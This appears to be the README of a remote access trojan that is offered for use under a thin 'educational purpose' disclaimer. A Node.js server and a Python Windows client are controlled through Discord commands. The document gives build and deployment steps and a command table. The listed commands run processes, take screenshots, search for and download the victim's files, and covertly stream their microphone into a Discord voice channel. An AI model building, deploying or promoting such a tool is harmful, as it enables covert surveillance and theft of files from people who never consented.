I am not responsible if you infect someone with this malware this is only for educational purpose.
Side | Language | Path |
---|---|---|
Server | NodeJS | /server |
Client | Python3 | /client |
- Friendly event manage API;
- Easy register events (server / client);
- Easy listen for incoming events (server / client);
- Shutdown / Restart windows OS;
- Set / Get volume level;
- Get User Name;
- Take screenshot;
- Open / Kill process;
- Emulate Key Combination;
- Search file;
- Take file(s);
- Enable / Disable microphone listen and emulate in discord voice channel;
- Go to
/src/main.py
and editserver_uri
variable with your server host; - Install python dependencies (
pip install -r requirements.txt
); - Build the malware (
python build.py
);
- Create a copy of
.env.example
file and rename it to.env
by filling all environment variables; - Install node dependencies (
npm install
); - Run the server (
npm run start
); - Register your own events (optional);
Command | Description | Example of usage | Required client selected |
---|---|---|---|
!ping | Simple pong response | - | false |
!clients | Show a list of connected clients | - | false |
!manage | Set current client as selected for managing | !manage 127.0.0.1 |
false |
!shutdown | Shut down windows OS | - | true |
!restart | Restart windows OS | - | true |
!setvolume | Set volume | !setvolume 69 |
true |
!getvolume | Get current volume | - | true |
!ss | Take a screenshot | - | true |
!open | Execute a command / process | !open cmd |
true |
!kill | Kill a process by id | !kill 6969 |
true |
!emulatekeycombination | Emulate key combination | !emulatekeycombination alt+tab |
true |
!searchfile | Search for files | !searchfile / *.txt full |
true |
!takefile | Take (download) file | !takefile C:\Users\ghosty2004\Desktop\root.txt |
true |
!takefiles | Take (download) files | !takefile C:\Users\ghosty2004\Desktop |
true |
!enablemicrophonelisten | Enable microphone listen and connect to voice channel | - | true |
!disablemicrophonelisten | Disable microphone listen | - | true |
Incoming websocket connection log
Show clients
Managing client
Screenshot
Search file(s)
Download file(s)